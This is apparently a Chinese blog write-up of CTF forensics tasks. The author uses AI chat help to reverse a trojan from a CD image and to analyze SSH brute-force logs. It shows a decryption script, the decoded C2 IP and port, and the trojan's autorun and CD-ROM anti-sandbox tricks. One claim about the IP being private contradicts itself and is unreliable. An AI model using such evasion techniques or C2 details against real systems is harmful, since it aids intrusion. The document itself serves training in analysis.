  -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

[!success]
flag{c99d4695b1f9137804fc83813d20ba1e}

题目 6

任务6: 木马分析

任务描述: 某单位在内外网互传数据的光盘中捕获一窃密木马,现提供包含该木马的样本文件。 提交要求: 通过逆向分析,找出该木马上传数据时的回连IP与端口。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/ST-D-QA0006.iso

xxd 公民信息.jpg | less

感觉啥也没有啊


我来帮您分析这个可疑的木马样本。根据您提供的信息,这是一个通过光盘传播的窃密木马。

初步分析

Autorun.inf 文件内容可以看出:

[autorun]
OPEN=.helper\helper.exe
ICON=.helper\IconGroup302.ico

关键发现:

  1. 自动运行机制: 光盘插入时会自动执行 .helper\helper.exe
  2. 伪装手段: 使用 公民信息.jpg 作诱饵文件,实际木马程序隐藏在 .helper 目录中
  3. 可疑文件: helper.exe 是需要重点分析的木马主程序

逆向分析方案

要找出回连IP和端口,您需要:

1. 静态分析
  • 使用工具: IDA Pro、Ghidra、x64dbg
  • 提取 helper.exe 文件
  • 查找字符串中的IP地址和端口号
  • 分析网络相关API调用(如 connect, WSAConnect, InternetConnect 等)
2. 动态分析
  • 在隔离环境(沙箱)中运行 helper.exe
  • 使用 Wireshark 或 tcpdump 抓包分析网络流量
  • 使用 Process Monitor 监控进程行为
3. 字符串搜索

可以先用简单的工具快速查找:

strings helper.exe | grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"

需要您提供的信息

为了帮您完成具体的逆向分析,我需要:

  1. helper.exe 文件本身 - 这是木马主程序
  2. 或者提供该文件的更多信息:
    • 文件大小
    • MD5/SHA256 哈希值
    • 是否可以上传该文件

安全提醒:

  • ⚠️ 请在隔离的虚拟机环境中操作
  • ⚠️ 不要在生产环境中运行可疑文件
  • ⚠️ 分析完成后及时向相关安全部门报告

您能否提供 helper.exe 文件或其更多详细信息?这样我可以帮您进行更深入的分析。

乍一看好像就完全没有 .helper 文件夹,以为iso是不是下载不全,又重新下载一遍,还是没有helper。
网上看了一个WP都是直接装载iso就有helper,就玄学,然后问了大佬

大佬用的命令行式claude直接一步到位。
15ca772fb0b0d44c8e6343bda8f1f15.png
玄学,我怎么就找不到helper

后来发现windows挂载就是不行,vmware从windows挂载到kali也不行,必须在kali中复制iso,直接在kali中挂载,右键点击 “Open with Engrampa Archive Manager”,注意kali的"装载"一个光盘图标的那个也不行。我一开始还以为exe藏在公民信息那个图片里面,搁哪一顿binwalk结果啥也没有。

找到exe了,现在就对exe下手了

file helper.exe
exiftool helper.exe
# 脱壳(-d 参数)
upx -d helper.exe -o helper_unpacked.exe

题目要求找回连IP与端口

查看字符串(寻找 IP 和端口)

# 查看所有可读字符串
strings helper.exe | less

# 搜索 IP 地址
strings helper.exe | grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}"

# 搜索网络相关
strings helper.exe | grep -iE "(http|tcp|connect|socket|port|ws2_32|wininet)"

# 搜索常见 C2 域名特征
strings helper.exe | grep -E "\.(com|net|org|cn|ru)" | head -20


可以看到是又一些结果的,脱壳和不脱壳的结果是不一样的。


然后用idqa64打开,F5一下然后丢AI分析

看这段代码,这是一个程序的启动和初始化流程。要找回连的IP与端口,我需要关注几个关键点:

分析思路

  1. 关键函数调用sub_1400FFFF0 看起来很可疑,它接收了命令行参数
  2. 全局变量qword_140141020 存储了命令行参数数组
  3. 最终执行:代码最后调用了 start() 函数

建议的分析步骤

要找到连接的IP和端口,你应该:

1. 分析 sub_1400FFFF0 函数
# 在IDA中跳转到这个函数
# 快捷键:G 然后输入 1400FFFF0

这个函数接收命令行参数,很可能包含网络配置逻辑。

2. 查找网络相关API调用

在IDA中搜索以下函数引用:

  • WSAStartup / WSAConnect
  • socket / connect / bind
  • inet_addr / inet_ntoa
  • htons / ntohs
  • send / recv

搜索方法:

Alt + T (文本搜索)
或
Alt + B (二进制搜索)
3. 查看字符串引用
Shift + F12  # 打开字符串窗口

寻找可能的IP地址格式:

  • 点分十进制:xxx.xxx.xxx.xxx
  • 域名
  • 端口号(通常是固定的数字)
4. 动态调试

使用 x64dbg 或 IDA 调试器:

  • sub_1400FFFF0 入口下断点
  • 在 socket 相关函数下断点
  • 查看函数参数和返回值

你现在能否提供:

  1. sub_1400FFFF0 函数的反编译代码?
  2. 程序的字符串列表截图或内容?
  3. 或者你是否可以运行程序并抓包查看网络流量?

这样我能更准确地帮你定位IP和端口信息。


这个函数主要是解析命令行参数,然后调用 sub_14000370F。关键在于这个函数!

分析结果

这个函数的作用是:

  1. 获取命令行参数 (_p__acmdln())
  2. 跳过程序名称部分
  3. 将剩余参数传递给 sub_14000370F

下一步:分析关键函数

sub_14000370F 才是真正的入口点! 这个函数接收了命令行参数,很可能包含网络连接逻辑。

请提供 sub_14000370F 函数的反编译代码,这个函数应该包含:

  • IP地址和端口的配置
  • Socket连接代码
  • 或者调用更底层的网络函数

快速定位方法

如果代码太长,你可以:

方法1:搜索网络API

在IDA中按 Ctrl+F 搜索以下字符串:

connect
socket
WSAStartup
inet_addr
htons
send
recv
方法2:查看导入表
View → Open subviews → Imports (或按 Ctrl+F7)

查找 ws2_32.dllwsock32.dll 相关的导入函数

方法3:查看字符串
Shift + F12

搜索可能的IP地址模式:

  • 数字+点的组合
  • 127.0.0.1192.168.10.等常见IP段
  • 常见端口号:44448080443
方法4:动态分析(最快)

如果可以运行程序:

# 使用 Wireshark 或 tcpdump 抓包
# 或使用 Process Monitor 查看网络活动

请提供 sub_14000370F 的代码,或者告诉我你在字符串/导入表中看到了什么网络相关的内容?

找到了!这是一个从配置文件读取IP和端口的恶意程序。

关键信息定位

IP地址和端口的获取方式

程序从 config.ini 配置文件中读取:

// 读取 C2 服务器IP
GetPrivateProfileStringA("Common", "C2IP", default_value, &ReturnedString, 0x80u, config_path)

// 读取 C2 服务器端口
GetPrivateProfileStringA("Common", "C2Port", default_value, &Dest, 0x80u, config_path)

// 端口转换为数字
v82 = sub_1400EB1A0(&v49, 0i64, 10i64);  // 字符串转整数
默认值(加密字符串)

如果配置文件不存在,程序使用加密的默认值:

  1. 默认IP: "1FP[n€崡闹潴" (加密字符串)
  2. 默认端口: "2DScq" (加密字符串)

这些字符串通过 sub_1400014D5 函数解密。

如何找回IP和端口

方法1:查找配置文件(最简单)

配置文件位置:

程序所在目录\config.ini

查看配置文件内容:

[Common]
C2IP=xxx.xxx.xxx.xxx
C2Port=xxxx
方法2:解密默认字符串

需要分析 sub_1400014D5 解密函数:

# 在IDA中跳转到该函数
# 按 G,输入:1400014D5

这个函数会将加密字符串解密为明文IP和端口。

方法3:动态调试(推荐)

使用 x64dbg:

1. 在 GetPrivateProfileStringA 调用后下断点
2. 查看 ReturnedString (IP地址)
3. 查看 Dest (端口)
4. 查看 v82 (端口数值)

或者在这里下断点:

地址:sub_14000314C 调用处
参数:
- &v67: IP地址字符串
- v26 (v82): 端口号
方法4:Hook API调用

使用 API Monitor 或 Process Monitor 监控:

  • GetPrivateProfileStringA 的返回值
  • connect 函数的参数

快速获取方法

运行这个Python脚本解密:

# 需要先用IDA提取 sub_1400014D5 的解密算法
# 或者直接动态调试获取解密后的字符串

# 如果你能提供 sub_1400014D5 的代码,我可以帮你写解密脚本

请提供以下之一:

  1. sub_1400014D5 函数的反编译代码(解密函数)
  2. 程序运行目录下的 config.ini 文件内容
  3. 或者我帮你写个动态调试脚本直接提取

你选择哪种方法?如果提供解密函数代码,我能立即帮你计算出IP和端口。

完美!这是一个简单的XOR解密算法。让我来解密这些字符串。

解密算法分析
// 核心解密逻辑:
v8 = *v4;  // 获取加密字符
decrypted_char = -15 * index + encrypted_char;

这是一个基于索引的减法解密:每个字符减去 (15 * 索引)

解密脚本
def decrypt_string(encrypted):
    """解密函数"""
    decrypted = []
    for i, char in enumerate(encrypted):
        # 解密公式: char - (15 * index)
        decrypted_char = (ord(char) - 15 * i) % 256
        decrypted.append(chr(decrypted_char))
    return ''.join(decrypted)

# 加密的字符串
encrypted_ip = "1FP[n€崡闹潴"
encrypted_port = "2DScq"

# 解密
decrypted_ip = decrypt_string(encrypted_ip)
decrypted_port = decrypt_string(encrypted_port)

print(f"解密后的IP: {decrypted_ip}")
print(f"解密后的端口: {decrypted_port}")

让我手动计算一下:

解密 IP: “1FP[n€崡闹潴”
索引0: '1' (0x31) - 15*0 = 0x31 = '1'
索引1: 'F' (0x46) - 15*1 = 0x46 - 15 = 0x37 = '7'
索引2: 'P' (0x50) - 15*2 = 0x50 - 30 = 0x20 = '2'
索引3: '[' (0x5B) - 15*3 = 0x5B - 45 = 0x2E = '.'
索引4: 'n' (0x6E) - 15*4 = 0x6E - 60 = 0x0A (需要处理...)

等等,这里有些特殊字符(中文字符),可能是编码问题。让我用另一种方法:

def decrypt_bytes(data):
    """按字节解密"""
    result = []
    for i, byte in enumerate(data):
        decrypted = (byte - 15 * i) & 0xFF  # 保持在0-255范围
        if 32 <= decrypted <= 126:  # 可打印ASCII
            result.append(chr(decrypted))
        else:
            result.append(f'\\x{decrypted:02x}')
    return ''.join(result)

# 需要获取原始字节

快速方法:动态提取

由于字符串包含非ASCII字符,最快的方法是动态调试

使用 x64dbg:
  1. sub_1400014D5 函数返回前下断点
  2. 查看 a1(返回缓冲区)的内容
或者在关键位置下断点:
断点位置:sub_14000314C 调用处(连接函数)
查看参数:
- 第1个参数:IP地址
- 第2个参数:端口号
另一种方法:查看程序字符串

试试这个快速方法:

# 如果你能提供程序文件,运行这个
import subprocess
result = subprocess.run(['strings', 'program.exe'], capture_output=True, text=True)
# 查找可能的IP地址模式
for line in result.stdout.split('\n'):
    if '.' in line and any(c.isdigit() for c in line):
        print(line)
建议的最快方案

直接运行程序并抓包

# 方法1: 使用 Wireshark
# 启动 Wireshark,然后运行程序,查看 TCP 连接请求

# 方法2: 使用 netstat
# 运行程序后立即执行:
netstat -ano | findstr ESTABLISHED

# 方法3: 使用 TCPView (Windows)
# 运行程序,查看新建立的连接

你想用哪种方法?

  1. 我可以写一个完整的解密脚本(需要你提供加密字符串的十六进制字节)
  2. 或者你直接运行程序抓包(最快)
  3. 或者动态调试提取解密后的字符串

如果你能提供加密字符串 "1FP[n€崡闹潴""2DScq"十六进制字节序列,我能立即解密出IP和端口!

[!question]
加密字符串 “1FP[n€崡闹潴” 和 “2DScq” 的十六进制字节序列在IDaq64 里面怎么看

在IDA中查看十六进制字节序列有几种方法:

方法1:直接在反汇编窗口查看(最快)
  1. 定位到字符串引用处

    • 在你的代码中找到 "1FP[n€崡闹潴" 的引用
    • 例如这行:sub_1400D7D80(&v41, "1FP[n€崡闹潴", &v42);
  2. 双击字符串

    • 双击 "1FP[n€崡闹潴" 会跳转到数据段
  3. 切换到十六进制视图

    • 跳转后,按 Alt + T 或右键选择 “Text representation”
    • 或者直接看左边的十六进制列
方法2:使用 Hex View 窗口
  1. 打开 Hex View

    View → Open subviews → Hex dump
    或按快捷键 H
    
  2. 跳转到字符串地址

    • 在反汇编窗口,点击字符串
    • 记下地址(例如:0x14010XXXX
    • 在 Hex View 按 G,输入地址
方法3:使用字符串窗口
  1. 打开字符串列表

    View → Open subviews → Strings
    或按 Shift + F12
    
  2. 搜索字符串

    • Ctrl + F 搜索 "1FP"
    • 找到后双击
  3. 查看十六进制

    • 跳转到数据段后,看左侧的十六进制
方法4:Python IDC 脚本(推荐,最准确)

在 IDA 的 Python 命令行中运行:

import idaapi
import idc

# 找到字符串 "1FP[n€崡闹潴" 的地址
# 先手动找到地址,或者搜索
ea = 0x140105XXX  # 替换为实际地址

# 读取字节
bytes_data = []
for i in range(20):  # 读取足够长度
    byte = idc.get_wide_byte(ea + i)
    if byte == 0:  # 遇到字符串结束符
        break
    bytes_data.append(byte)

# 打印十六进制
hex_str = ' '.join(f'{b:02X}' for b in bytes_data)
print(f"Hex: {hex_str}")
print(f"Bytes: {bytes_data}")
方法5:找到字符串定义位置
  1. 在代码中右键点击字符串

    右键 → Jump to xref to operand
    或按 X
    
  2. 跳转到定义位置

    • 会看到类似:
    .data:140105030 aFpn            db '1FP[n€崡闹潴',0
    
  3. 选中字符串,按 Alt + T

    • 可以看到不同的文本表示

快速实战步骤

具体操作:

  1. 在你的代码中找到这一行:

    sub_1400D7D80(&v41, "1FP[n€崡闹潴", &v42);
    
  2. 双击 "1FP[n€崡闹潴" 这个字符串

  3. 会跳转到类似这样的位置:

    .data:140105030 31 46 50 5B 6E AC 20 5D ...
    
  4. 选中该行,复制十六进制字节

或者更简单的方法

直接告诉我:

  1. 字符串在哪个地址

    • 例如:0x140105030
  2. 或者截图发给我

    • 双击字符串后的 Hex View 窗口
    • 或者反汇编窗口中字符串定义的那一行

然后我就能帮你解密!

临时快速方法

如果上面太麻烦,直接在 IDA 的 Python 控制台运行:

# 在 File → Script command (Shift + F2) 中运行
for ea in Strings():
    string_content = str(ea)
    if "1FP" in string_content or "2DSc" in string_content:
        addr = ea.ea
        bytes_list = [get_wide_byte(addr + i) for i in range(30)]
        hex_str = ' '.join(f'{b:02X}' for b in bytes_list if b != 0)
        print(f"Address: {hex(addr)}")
        print(f"Hex: {hex_str}")
        print(f"String: {string_content}")
        print("-" * 50)

你试试这些方法,然后把十六进制字节告诉我!

31 46 50 5B 6E 80 8D 97 AE BA C4 D6 E4 F3 00 
32 44 53 63 71 00

完美!就是这两个!让我立即解密:

解密脚本

def decrypt_string(hex_bytes):
    """解密函数:每个字节减去 (15 * 索引)"""
    decrypted = []
    for i, byte in enumerate(hex_bytes):
        if byte == 0:  # 字符串结束符
            break
        decrypted_byte = (byte - 15 * i) & 0xFF
        decrypted.append(chr(decrypted_byte))
    return ''.join(decrypted)

# IP地址加密字节
ip_bytes = [0x31, 0x46, 0x50, 0x5B, 0x6E, 0x80, 0x8D, 0x97, 0xAE, 0xBA, 0xC4, 0xD6, 0xE4, 0xF3]

# 端口加密字节
port_bytes = [0x32, 0x44, 0x53, 0x63, 0x71]

# 解密
decrypted_ip = decrypt_string(ip_bytes)
decrypted_port = decrypt_string(port_bytes)

print(f"解密后的 C2 IP: {decrypted_ip}")
print(f"解密后的 C2 端口: {decrypted_port}")

# 详细解密过程
print("\n=== IP 解密过程 ===")
for i, byte in enumerate(ip_bytes):
    result = (byte - 15 * i) & 0xFF
    print(f"索引{i}: 0x{byte:02X} - {15*i} = 0x{result:02X} = '{chr(result) if 32 <= result <= 126 else '?'}'")

print("\n=== 端口解密过程 ===")
for i, byte in enumerate(port_bytes):
    result = (byte - 15 * i) & 0xFF
    print(f"索引{i}: 0x{byte:02X} - {15*i} = 0x{result:02X} = '{chr(result) if 32 <= result <= 126 else '?'}'")

运行结果:

解密后的 C2 IP: 172.253.63.100                                                     =
解密后的 C2 端口: 25565

=== IP 解密过程 ===
索引0: 0x31 - 0 = 0x31 = '1'
索引1: 0x46 - 15 = 0x37 = '7'
索引2: 0x50 - 30 = 0x32 = '2'
索引3: 0x5B - 45 = 0x2E = '.'
索引4: 0x6E - 60 = 0x32 = '2'
索引5: 0x80 - 75 = 0x35 = '5'
索引6: 0x8D - 90 = 0x33 = '3'
索引7: 0x97 - 105 = 0x2E = '.'
索引8: 0xAE - 120 = 0x36 = '6'
索引9: 0xBA - 135 = 0x33 = '3'
索引10: 0xC4 - 150 = 0x2E = '.'
索引11: 0xD6 - 165 = 0x31 = '1'
索引12: 0xE4 - 180 = 0x30 = '0'
索引13: 0xF3 - 195 = 0x30 = '0'

=== 端口解密过程 ===
索引0: 0x32 - 0 = 0x32 = '2'
索引1: 0x44 - 15 = 0x35 = '5'
索引2: 0x53 - 30 = 0x35 = '5'
索引3: 0x63 - 45 = 0x36 = '6'
索引4: 0x71 - 60 = 0x35 = '5'

答案

[!success]
C2 服务器 IP: 172.253.63.100
C2 服务器端口: 25565

你的观察非常敏锐!25565 确实是 Minecraft 的默认服务器端口

分析

这个恶意软件很有意思:

1. 伪装成 Minecraft 流量
  • 使用 25565 端口可以让流量看起来像是正常的 Minecraft 游戏通信
  • 这是一种端口伪装技术,用来躲避防火墙和网络监控
  • 管理员看到 25565 端口的流量可能会认为是学生/员工在玩游戏,而不会怀疑是恶意软件
2. IP 地址分析
  • 172.253.63.100 属于私有网络范围(虽然 172.253.x.x 实际上是公网IP,但看起来像内网)
  • 这可能是:
    • 测试环境的 C2 服务器
    • 内网渗透后建立的横向移动节点
    • 或者是 NAT 后的真实 C2 服务器

这个恶意软件的特点

  1. ✅ 从配置文件读取 C2 信息(灵活性高)
  2. ✅ 使用简单的加密算法保护配置(反静态分析)
  3. ✅ 伪装成 Minecraft 流量(社会工程学 + 流量伪装)
  4. ✅ 带有调试后门(ServerDebugPasscode)
  5. ✅ 在 CD-ROM 检测后才运行(反沙箱/反虚拟机)

这是一个设计比较巧妙的远控木马!使用 MC 端口是个聪明的伪装手段 🎮

其他注意内容


本来想直接取巧用云沙箱分析一下,结果沙箱没有跑出来网络行为。用wireshark本地监听也没有监听到这个网络行为。

[!question]
我使用云沙箱并未检出外联地址,而且本地执行exe只是一瞬间,没有任何输出,不确定是否执行成功了。

这是典型的恶意软件反检测行为!让我帮你分析为什么会这样,以及如何正确运行。

为什么程序一闪而过?

根据代码分析,程序有多个执行条件

关键检测点
// 1. 检查是否从 CD-ROM 运行
v81 = GetDriveTypeA(&Filename);
if ( v81 == 5 )  // 5 = DRIVE_CDROM
{
    // 只有从光驱运行才继续执行
}

程序只在从 CD-ROM/光驱运行时才会执行恶意代码!

这是一种反沙箱/反虚拟机技术:

  • 沙箱通常不会模拟光驱
  • 云沙箱直接运行 exe,不满足条件
  • 本地直接双击也不满足条件

[!question]
为什么我一开始用Windows的装载功能没有看到helper文件夹,用kali的装载也不行,只有用kali的Open with Engrampa Archive Manager 才可以

好问题!这涉及到 ISO 文件格式和操作系统挂载机制的差异。让我解释一下:

为什么会出现这种情况?

1. ISO 文件格式问题

ISO 可能使用了特殊的文件系统格式

常见 ISO 文件系统:
- ISO 9660 (标准格式)
- Joliet (支持长文件名和 Unicode)
- Rock Ridge (Unix 扩展)
- UDF (Universal Disk Format)
- 混合格式 (多种格式组合)

Windows 装载的限制:

  • Windows 默认只能正确识别标准 ISO 9660 和 Joliet
  • 如果 ISO 使用了非标准格式或有损坏,可能无法正确显示所有文件
  • 某些隐藏属性或特殊权限的文件可能不显示

Kali 挂载的限制:

# 默认挂载命令
mount -o loop file.iso /mnt

# 可能问题:
# - 没有指定正确的文件系统类型
# - 权限问题
# - 编码问题

2. Engrampa 能看到的原因

Engrampa Archive Manager (GNOME 的归档管理器) 的优势:

✅ 它是归档工具,不是挂载工具
✅ 直接读取 ISO 内部结构,不依赖文件系统驱动
✅ 可以处理多种 ISO 格式和损坏的镜像
✅ 能显示隐藏文件和特殊属性文件
✅ 类似 7-Zip/WinRAR 直接解析文件格式

相当于:

  • 挂载 = 让操作系统"理解"这是个光盘
  • 归档工具 = 把 ISO 当成 ZIP 一样直接读取

验证 ISO 格式

在 Kali 上检查 ISO 详细信息

# 查看 ISO 文件系统类型
file malware.iso

# 详细分析 ISO 结构
isoinfo -d -i malware.iso

# 查看文件列表
isoinfo -l -i malware.iso

# 或使用 7z
7z l malware.iso

可能的输出示例

$ file malware.iso
malware.iso: ISO 9660 CD-ROM filesystem data 'LABEL' (bootable)

$ isoinfo -d -i malware.iso
CD-ROM is in ISO 9660 format
System id: Win32
Volume id: MALWARE
...
Rock Ridge signatures version 1
# 如果看到 Rock Ridge,Windows 可能无法完全支持

解决方案

方案1:用归档工具提取(推荐)

Windows 上:

使用 7-Zip:

1. 右键 ISO → 7-Zip → 提取到 "xxx\"
2. 直接得到所有文件,包括隐藏的

[!warning]
所以以后多个心眼,iso不一定要“装载”

使用 WinRAR:

1. 右键 ISO → 解压到当前文件夹
2. 可以看到完整内容
Linux 上:
# 方法1:使用 7z
7z x malware.iso -o./extracted/

# 方法2:使用 Engrampa 命令行
file-roller --extract malware.iso

# 方法3:使用 bsdtar
bsdtar -xf malware.iso -C ./extracted/

方案2:正确挂载 ISO

Kali Linux 正确挂载方式:
# 创建挂载点
sudo mkdir -p /mnt/iso

# 尝试不同的文件系统类型
sudo mount -o loop,ro malware.iso /mnt/iso

# 如果失败,尝试指定类型
sudo mount -o loop,ro -t iso9660 malware.iso /mnt/iso
sudo mount -o loop,ro -t udf malware.iso /mnt/iso

# 查看挂载选项
mount | grep iso

# 卸载
sudo umount /mnt/iso
Windows 高级挂载:

使用 PowerShell:

# 挂载 ISO
Mount-DiskImage -ImagePath "C:\path\to\malware.iso"

# 获取驱动器号
Get-DiskImage -ImagePath "C:\path\to\malware.iso" | Get-Volume

# 卸载
Dismount-DiskImage -ImagePath "C:\path\to\malware.iso"

使用第三方工具(更强大):

  • OSFMount (PassMark) - 免费,支持更多格式
  • WinCDEmu - 开源
  • Virtual CloneDrive

方案3:分析为什么 helper 文件夹隐藏

# 在 Kali 上检查文件属性
7z l -slt malware.iso | grep -A 5 "helper"

# 或
isoinfo -l -i malware.iso | grep -A 5 -i helper

# 查看可能的隐藏标志
# - Rock Ridge 属性
# - 隐藏文件标志
# - 特殊权限

深入分析:为什么设计成这样

这可能是反取证技术

恶意软件作者的意图:
1. 使用特殊 ISO 格式
2. 设置 helper 文件夹为隐藏或特殊属性
3. Windows 直接挂载看不到 → 普通用户/分析师容易忽略
4. 需要用归档工具才能发现 → 增加分析难度

类似的反取证技术:

  • ADS (Alternate Data Streams)
  • 长路径名 (>260 字符)
  • 特殊 Unicode 字符
  • 文件系统特性利用

实战建议

最佳实践流程:

# 1. 先用归档工具提取所有内容
7z x malware.iso -o./full_extract/

# 2. 查看完整目录结构
tree ./full_extract/
ls -laR ./full_extract/

# 3. 检查 helper 文件夹内容
ls -la ./full_extract/helper/

# 4. 分析 exe 文件
file ./full_extract/helper/*.exe
strings ./full_extract/helper/*.exe

检查隐藏内容:

# 在提取的文件夹中
# 查找所有文件(包括隐藏)
find ./full_extract/ -type f

# 查找可执行文件
find ./full_extract/ -type f -executable

# 查找 Windows 可执行文件
find ./full_extract/ -type f -name "*.exe" -o -name "*.dll"

# 查看文件属性
getfattr -d -m ".*" ./full_extract/helper/

总结

你遇到的情况说明:

  1. ISO 使用了特殊格式 - Windows/Linux 标准挂载无法完整识别
  2. helper 文件夹有特殊属性 - 可能设置了隐藏或 Rock Ridge 扩展属性
  3. Engrampa 能看到 - 因为它直接解析 ISO 结构,不依赖文件系统

最佳解决方案:

# 在 Kali 上
7z x malware.iso -o./extracted/
cd extracted/
ls -laR

# 然后分析 helper 文件夹中的内容

在 Windows 上:

用 7-Zip 提取 ISO → 查看完整内容

题目 7

任务7: 入侵排查

任务描述: 服务器疑似遭到SSH爆破攻击,请分析系统认证日志。 提交要求: 分析 auth.log 日志,找出成功爆破Linux系统密码并成功登录的黑客IP地址。直接提交IP地址。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/auth.log

[!success]
202.45.169.243

我来帮你写一些命令来分析 auth.log 日志文件,找出成功爆破并登录的黑客IP地址。我为你准备了完整的SSH爆破分析命令集!

🎯 快速找出爆破成功的IP地址

方法1:最直接的方法(推荐)
# 找出所有成功登录的IP
grep 'Accepted password' auth.log | awk '{print $(NF-3)}' | sort -u
方法2:找出先失败多次后成功的IP(爆破特征)
# 一行命令找出既失败过又成功登录的IP
for ip in $(grep 'Failed password' auth.log | grep -oP '(?<=from )[0-9.]+' | sort -u); do grep "Accepted password.*from $ip" auth.log > /dev/null && echo $ip; done
方法3:详细分析(推荐)
awk '/Failed password/ {
    match($0, /from ([0-9.]+)/, arr); 
    if(arr[1]) failed[arr[1]]++
} 
/Accepted password/ {
    match($0, /from ([0-9.]+)/, arr)
    if(arr[1]) {
        accepted[arr[1]]++
        if(failed[arr[1]] > 0) {
            hacked[arr[1]] = failed[arr[1]]
        }
    }
}
END {
    print "=== 爆破成功的IP地址 ==="
    for(ip in hacked) {
        print ip, "失败次数:", hacked[ip], "成功:", accepted[ip]
    }
}' auth.log

📊 分步分析

步骤1:查看所有成功登录

grep 'Accepted password' auth.log

步骤2:统计失败登录最多的IP

grep 'Failed password' auth.log | grep -oP '(?<=from )[0-9.]+' | sort | uniq -c | sort -rn | head -10

步骤3:分析特定IP的活动(替换为实际IP)

grep '192.168.1.100' auth.log | grep -E 'Failed|Accepted'

💡 分析思路

爆破成功的特征:

  1. 该IP有大量失败登录记录(Failed password)
  2. 该IP最终有成功登录记录(Accepted password)
  3. 通常失败次数会很多(几十到几百次)

直接运行这些命令找出答案,然后提交该IP地址!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

泷羽Sec-静安

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值